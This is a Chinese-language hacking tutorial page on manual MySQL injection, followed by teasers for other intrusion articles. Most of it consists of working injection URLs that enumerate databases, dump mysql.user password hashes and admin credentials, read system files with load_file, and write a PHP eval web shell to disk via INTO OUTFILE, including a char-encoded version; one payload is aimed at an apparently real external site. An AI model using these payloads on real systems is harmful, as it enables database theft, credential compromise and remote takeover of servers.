手动mysql 高级注入实例分析

所属分类: 网络安全 / 黑客入侵 阅读数: 105
收藏 0 赞 0 分享
利用Information_schema系统库来注入,配合使用group_concat()函数,group_concat()功能强大,而且能够绕过limit限制

http://127.0.0.1/sql.php?id=1 union select 0,0,0 字段为 3
http://127.0.0.1/sql.php?id=1 and 1=2 union select count(*),1,1 from mysql.user 统计数据库中又多少个用户


http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata 测试过程中只有 root权限或者 全局权限才能爆出所有数据库 普通用户不能爆出所有用户
这样就把mysql服务器所有数据库名字显示出来了

http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x74657374
这样就能把 test 数据库中的 所有表显示出来了。 其中 0x74657374 为 test 的 hex 值


http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646D696E
这样就把admin表中所有的字段名 显示出来了。

这样注入手法很灵活的。突破了 limit 限制了。
来看下 穿山甲的注入语句



以下部分只有root 权限或者 全局权限才能操作
======================================================================================================================================
select user from mysql.user



http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),user,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 6,1)t order by user desc)t limit 1-- 查看数据库中有那些用户


http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),password,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 6,1) t order by user desc)t limit 1-- 查看对应用户的 密码


通过不断修改limit 2,1达到查看所有 http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),password,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 2,1) t order by user desc)t limit 1--
===========================================================================================================================================================



http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 0,10
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 1,10
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 2,10
通过 limit 一条条记录取出来

或者直接用group_concat()函数 一次显示出来
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,group_concat(username),group_concat(password) from admin


into outfile 的应用 注意路径是 这样的c:/2ww.php
http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62)),1,1 into outfile 'c:/cm14dd.php'
<?php eval($_POST[cmd])?> 的 asc码 char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62)

http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,'<?php eval($_POST[cmd])?>',3 into outfile 'c:/tt33.txt'



load_file 的应用

http://127.0.0.1//sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),load_file(0x633a5c626f6f742e696e69),char(94),char(94),char(94)),1,1 --
0x633a5c626f6f742e696e69 是 c:\boot.ini 的 hex编码
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,load_file('c:/boot.ini')



http://www.else1.com/concrete.php?id=5%20and%201=2%20union%20select%201,2,3,4,group_concat(schema_name)%20from%20information_schema.schemata

相关文件打包下载[用于测试的数据库sql文件与php代码]
更多精彩内容其他人还在看

有防火墙网站的入侵过程

一、踩点   ping www.111.com 发现超时,可以是有防火墙或做了策略。再用superscan扫一下,发现开放的端口有很多个,初步估计是软件防火墙。   二、注入   从源文件里搜索关键字asp,找到了一个注入点。用nbsi注入,发现是s
收藏 0 赞 0 分享

dcomrpc入侵

需要的工具: 很好的:?radmin.exe 扫描工具: retinarpcdcom.exe 溢出攻击工具:RpcDcom(通用溢出工具) 脚本开启telnet工具:telnet.vbe opentelnet.exe resumetelne
收藏 0 赞 0 分享

攻破雷客图ASP站长安全助手

到Lake2网站上下了1.5的源代码,发现这个版本的确改进了不少,又增加了查杀功能: 1:查杀通过了Unicode编码的ASP木马 2:查杀使用了(Open|Create)TextFile, SaveToFile,Save, set Server,Server.(
收藏 0 赞 0 分享

网页“黑手”如何入侵你的Windows系统

网络的流行,让我们的世界变得更加美好,但它也有让人不愉快的时候。比如,当你收到一封主题为“I Love You”的邮件,兴冲冲的双击附件想欣赏一下这封“情书”的时候,却在无意当中成为了病毒的受害者和传播者;或者在浏览某个网页的时候,浏览器标题栏就变成了类似“
收藏 0 赞 0 分享

环境变量在Hacking中的应用

首先,我们先了解下什么叫环境变量! 环境变量一般是指在操作系统中用来指定操作系统运行环境的一些参数,比如临时文件夹位置和系统文件夹位置等等。这点有点类似于DOS时期的默认路径,当你运行某些程时序除了在当前文件夹中寻找外,还会到设置的默认路径中去查找。比
收藏 0 赞 0 分享

一次尝试IRIX的过程(nobody shell)

1、http://www.targe.co.jp/cgi-bin/infosrch.cgi?cmd=getdoc&db=man&fname=|ls -la 这就是它的利用方法了。其中ls -la是我们要运行的命令,我不太习惯在web shell里面干活,还
收藏 0 赞 0 分享

三分钟搞定隐藏管理员账号

对regedit.exe大家都很熟悉,但却不能对注册表的项键设置权限,而regedt32.exe最大的优点就是能够对注册表的项键设置权限。nt/2000/xp的帐户信息都在注册表的HKEY_LOCAL_MACHINE\SAM\SAM键下,但是除了系统用户SYSTEM外,其它用户都
收藏 0 赞 0 分享

高手解析如何入侵3389

工具:WINNTAutoAttack自动攻击器(扫漏洞);SQLTOOLS(SA空口令连接器);RAMDIN影子3.0中文版(远程控制程序)(RADMIN注册码: 08US9A95I lKa9nbOLXqv0V8xqdDvKGcNcTpN2wV11iSqOCVuA
收藏 0 赞 0 分享

完整的XSS wrom网站入侵实例示范

XSS wrom网站如何实现入侵?不说废话,且看怎么实现,我先拿SOHU BLOG做示范。   1. 测试过滤字符,下面都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,/前是真正的空格),在个人档案处看过滤了哪些。   ’’;
收藏 0 赞 0 分享

谈VBS在Hacking中的作用———SQL Inject中的应用

平常我们遇到有注入漏洞一类的网站大部分人都是用NBSI Or 阿D一类的注射工具。但有的站点的注射点很难构造,或者说注射语句比较特殊。如果用手工去注射的话,费时又费力!但自己写针对性的工具的话,对一些刚入门不久或不会编程的朋友来说,实在是一件很痛苦的事情。
收藏 0 赞 0 分享
查看更多